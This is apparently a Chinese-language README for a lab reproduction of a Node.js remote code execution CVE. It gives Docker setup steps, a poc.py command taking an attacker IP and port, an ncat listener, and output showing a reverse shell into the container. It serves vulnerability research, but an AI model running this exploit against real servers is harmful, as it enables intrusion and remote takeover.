CVE-2026-111497

环境搭建

克隆仓库并构建 Docker 环境。

git clone https://github.com/EQSTLab/CVE-2026-111497.git
cd CVE-2026-111497

docker build -t cve-2026-111497 .
docker run -d --rm --name node2shell-lab -p 3000:3000 cve-2026-111497

概念验证（PoC）

终端 1 — 漏洞利用

使用目标地址和监听器配置运行 PoC。

python poc.py [TARGET] -lhost [ATTACKER_IP] -lport [ATTACKER_PORT]

终端 2 — 反向 Shell 监听器

启动监听器以接收反向 Shell 连接。

ncat -lvnp 4444

执行结果

终端 1 — 漏洞利用输出

$ python poc.py 127.0.0.1:3000 -lhost 192.168.102.87 -lport 4444

  EQST Lab | CVE-2026-111497 Node2Shell

  target     127.0.0.1:3000 /upload
  listener   192.168.102.87:4444
  profile    node 24.22.0 linux/amd64, fd 19
  note       start a listener first: nc -lvnp 4444

  0.0s   stream     22.0 MiB brotli, rop at +0x397
  6.6s   round 1    no hit (6.5s)
  23.2s  round 2    no hit (6.5s)
  40.8s  round 3    no hit (6.6s)
  50.5s  round 4    no hit (0.5s)
  66.0s  round 5    no hit (0.6s)
  84.5s  round 6    no hit (0.6s)
  103.2s round 7    no hit (0.5s)
  127.4s round 8    no hit (6.5s)
  137.9s round 9    no hit (0.6s)
  161.1s round 10   no hit (6.5s)
  170.6s round 11   no hit (0.6s)
  192.6s round 12   no hit (6.6s)
  207.2s round 13   no hit (6.6s)
  224.1s round 14   no hit (6.6s)
  234.6s round 15   no hit (0.6s)
  259.8s round 16   no hit (6.6s)
  270.8s round 17   no hit (0.6s)
  288.9s round 18   decoder hijacked (0.5s)
  288.9s dispatch   reverse shell to 192.168.102.87:4444

  result     code execution on round 18 of 50
  shell      waiting on 192.168.102.87:4444

终端 2 — 反向 Shell 输出

C:\Users\user\Desktop>ncat -lvnp 4444
Ncat: Version 7.99 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.102.87:33437.
bash: cannot set terminal process group (272): Inappropriate ioctl for device
bash: no job control in this shell
node@d40e35dfad8a:/app$ id
id
uid=1000(node) gid=1000(node) groups=1000(node)